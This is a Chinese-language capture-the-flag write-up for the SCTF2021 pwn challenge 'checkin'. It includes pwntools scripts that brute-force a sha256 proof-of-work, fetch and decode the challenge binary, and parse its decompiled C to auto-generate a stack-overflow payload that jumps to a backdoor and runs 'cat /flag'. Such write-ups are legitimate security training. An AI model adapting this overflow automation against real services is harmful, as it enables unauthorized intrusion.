[SCTF2021 pwn] checkin

看上去说登录,以为是最简单的一题后来越作越想放弃,不过其它的也不会,用了半天的时间写了个程序,虽然不可能是预期的。但也算有结果。

先是给了个端口,然后就没有了。登上去提示爆4位sha256,这点没啥难度,由于有用的在后也所以肯定得写个小爆破程序,然后会返回base64编码的程序:

from pwn import *
import hashlib
from base64 import b64decode
import os

context(arch='amd64')

#nc 123.60.82.85 1447

p = remote('123.60.82.85', 1447)
context.log_level = 'debug'

p.recvuntil(b'sha256(xxxx + ')
tail = p.recv(16)
p.recv(5)
hx = p.recv(64)

ss = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'

print(hx)
print(tail)

def gethash():
    for i1 in ss:
        print(i1, end=' ')
        for i2 in ss:
            for i3 in ss:
                for i4 in ss:
                    vv = bytes([i1,i2,i3,i4]) + tail
                    #print(vv)
                    k = hashlib.sha256(vv).hexdigest().encode()
                    if k == hx:
                        print(b'OK', bytes([i1,i2,i3,i4]))
                        p.sendlineafter(b':', bytes([i1,i2,i3,i4]))
                        data = p.recvuntil(b'\n==end==', drop=True)
                        open('check1.out', 'wb').write(b64decode(data))
                        return bytes([i1,i2,i3,i4])

sss = gethash()
#p.sendlineafter(b':', sss)
os.chmod('check1.out', 0o777)

pause()  #未完待续

程序放到ida里发现没有难度,一个溢出题还有后门,直接溢出写后门就行了。可以你输入东西人家就超时了。前边看题目提示是20分钟重启一次还以为20分钟才超时,后来才知道错了,程序前头定的78秒。那这个活没法生工完成了。

记得原来看过一篇文章,说用angr自动分析程序,但是我的angr就一直没安上,又试了几次都没安上。反正呆着也是呆着,用程序自己解释吧,反正程序比较简单就那么几句话。

  1. input_val() 读数字空格结束,相当于scanf('%d', &v001);
  2. input_line()这个读入指定长度的串
  3. if有两种情况一种是计算一个算式,算式比较简单加减乘和异或得几,变量用input_val输入的值,如果不是乘法的话第1个数置结果(输入顺序不一定是第一)其它置0,如果是乘法的话置安第1个,第2个要置成1 。这种方法虽然不能包含所有可能算式,但这个题的算式都满足。
  4. 另一种是fksth进行比较,就是input_line输入的字符逐个异或后跟给定串比较,得到正确的数字,0结束。这个只需要处理第1个字符就行,想不为0就用异或数与第1个字符异或,这个肯定结果肯定就不为0了,如果想为0就直接输入异或的数
  5. 最后就是找一个变量的rbp-XXX的值小于可输入的长度,这样就能溢出了。在这输入padding+rbp+backdoor+padding就行了。

说是容易但困难重重,原来ljust对于有些字符会达不到预期。这个人工debug很累很累。有些估计认成utf8了,烦人的utf-8和python3的bytes类型,K。不知道开发的人是脑子进水了还是被踢了,非弄个转来转去的bytes .

最后的作法就是先用一个程序爆破sha256得到文件后,base64解码存成文件然后暂停,然后把程序拿到ida得到c文件,然后用另一个程序读c文件生成payload。一开始这个文件恢复执行读payload写入,然后就直接看到flag了。78秒,紧紧的,没有工具就这样,估计有angr的会完全不一样。为什么说要“站到巨人肩上”呢。哎,巨人安不上。

#!/usr/bin/python3  
# -*- coding: utf-8 -*-

import re
from pwn import *

fp = open('log.c', 'rb')

#var
vlist_name = []
vlist_offset = []
while True:
    line = fp.readline()

    if b'init' in line:
        break 
    if b'v' in line and b'rbp-' in line:
        s1 = line.index(b'v')
        s2 = line.index(b';', s1)
        s3 = line.index(b'[', s1)
        if s3 < s2:
            s2 = s3 
        vname = line[s1:s2]
        s4 = line.index(b'rbp-', s1 )
        s5 = line.index(b'h', s4)
        offset = int(line[s4+4:s5], 16)
        #print(vname, offset)
        vlist_name.append( vname )
        vlist_offset.append(offset)

def change(head, name):
    print('In:')
    #head = head + b'\r\n'
    print('head:', len(head))
    while True:
        line = fp.readline().strip()
        if b'printf' in line:
            p_name = name +b'\n'+ line 
            print(line)
            break 
    tmp = b''
    tdic_name = []
    tdic_val  = []
    stat = 0
    pad = 0
    pad_name = b''
    while True:
        line = fp.readline()

        if b'}' in line:
            #print('Return:', head)
            print('Return:')
            return 
        if b'input_line' in line:
            s1 = line.index(b'v')
            s2 = line.index(b',', s1)
            pad_name = line[s1:s2 ]
            s1 = line.index(b' ', s2)
            s2 = line.index(b'u', s1)
            if b'uLL' in line:
                s2 = line.index(b'uLL', s1)
            pad = int(line[s1+1: s2] , 16)
            print('------pad--------', hex(pad))
            #door
            if pad >= vlist_offset[vlist_name.index(pad_name)]+8+8:
                h1 = b'A'* (vlist_offset[vlist_name.index(pad_name)] )+p64(0) + p64(0x401362) + p64(0x40134c) 
                h1 = h1.ljust(pad, b'\x00')
                print(len(h1))
                open('ok.txt', 'wb').write(head+h1)
                print('Door:', head+h1 )
                print(p_name.decode())
                
                p = process('./check1.out')
                p.send(head+h1)
                p.sendline(b'cat /flag')
                p.interactive()
                exit()
        elif b'input_val()' in line:
            aline = line.strip().split(b' ')
            if b'=' in aline:
                tdic_name.append(aline[0])
                tdic_val.append(b'0 ')
            else:
                tdic_name.append(b'vxxx')
                tdic_val.append(b'0 ')
        elif b' ^=' in line:
            aline = line.strip().split(b' ')
            if len(aline[2]) > 7:
                continue 
            if b'v' not in aline[0]:
                continue
            tdic_name.append(aline[0])
            if b'LL;' in line:
                tdic_val.append(int(aline[2][:-3], 16))
            else:
                tdic_val.append(int(aline[2][:-2], 16))

        if b'if' in line:
            break 
   
    #print(tdic_name, tdic_val )
    #print('line:', line)
    #if a + b == c 
    if b'==' in line:
        s1 = line.index(b'v') 
        s2 = line.index(b' ', s1 )
        s3 = line.index(b')', s2 )
        if s3 < s2:
            s2 = s3 
        v1 = line[s1:s2 ]
        v3 = line[s2+1:s2+2] #运算符,乘法后边值为1,其它为0
        s3 = line.index(b'== ')
        s4 = line.index(b' ', s3+3 )
        v2 = line[s3+3:s4 ]
        #print(v3)
        if b'*' == v3:
            s3 = line.index(b'v', s2)
            s4 = line.index(b' ', s3 )
            s5 = line.index(b')', s3 )
            if s5 < s4:
                s4 = s5 
            v4 = line[s3:s4 ]
            print('v4:', v4)
            tdic_val[tdic_name.index(v4 )] = b'1 '
        
        h2 = b''.join(tdic_val ) #错
        tdic_val[tdic_name.index(v1 )] = v2 + b' '
        h1 = b''.join(tdic_val ) #对
        #print(h1, h2)
        print(len(h1), len(h2))
        change(head+h1, p_name)
        change(head+h2, p_name)
    
    elif b'fksth' in line:
        s1 = line.index(b'v')
        s2 = line.index(b',', s1)
        v1 = line[s1:s2 ]
        s1 = line.index(b'"',s2 )
        v2 = line[s1+1]
        if pad_name not in tdic_name:
            rval = 0
        else:
            rval = tdic_val[tdic_name.index(pad_name )]
        h1 = bytes([ rval ^ v2 ]) + (pad-1) * b'\x00'
        h2 = bytes([ rval ]) + (pad-1) * b'\x00'
        if b'!' in line:
            h1,h2 = h2,h1 
        print(len(h1), len(h2))
        change(head + h1, p_name)
        change(head + h2, p_name)
    
    #print(tdic_name, tdic_val )
            
change(b'', b'')        
#print(vlist)

然后回到第一段程序的后部

#上接pause 
payload = open('ok.txt', 'rb').read()
p.send(payload)

p.sendline(b'cat /flag')
p.interactive()

最后竟然玩出了生死时速的感觉。

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值